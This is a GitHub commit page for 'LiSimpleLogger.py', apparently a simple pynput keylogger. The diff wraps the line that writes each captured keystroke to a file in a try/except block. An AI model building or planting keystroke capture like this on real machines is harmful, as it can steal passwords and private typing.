Skip to content

Commit bdef8b2

Browse files
committed
Update LiSimpleLogger.py
1 parent 6aa488b commit bdef8b2

File tree

1 file changed

+7
-1
lines changed

1 file changed

+7
-1
lines changed

LiSimpleLogger.py

+7-1
Original file line numberDiff line numberDiff line change
@@ -14,7 +14,13 @@ def on_press(key):
1414
# Alpha-Numeric and special characters have type pynput.keyboard._win32.KeyCode
1515
# If such type log them directly
1616
if type(key) == pynput.keyboard._xorg.KeyCode:
17-
f_in.write(key.char)
17+
try:
18+
f_in.write(key.char)
19+
20+
# Some keys of type pynput.keyboard._win32.KeyCode return None.
21+
# Cant write none in a file and may cause error.
22+
except Exception:
23+
pass
1824

1925
# For other types like caps_lock log them as specified.
2026
else:

0 commit comments

Comments
 (0)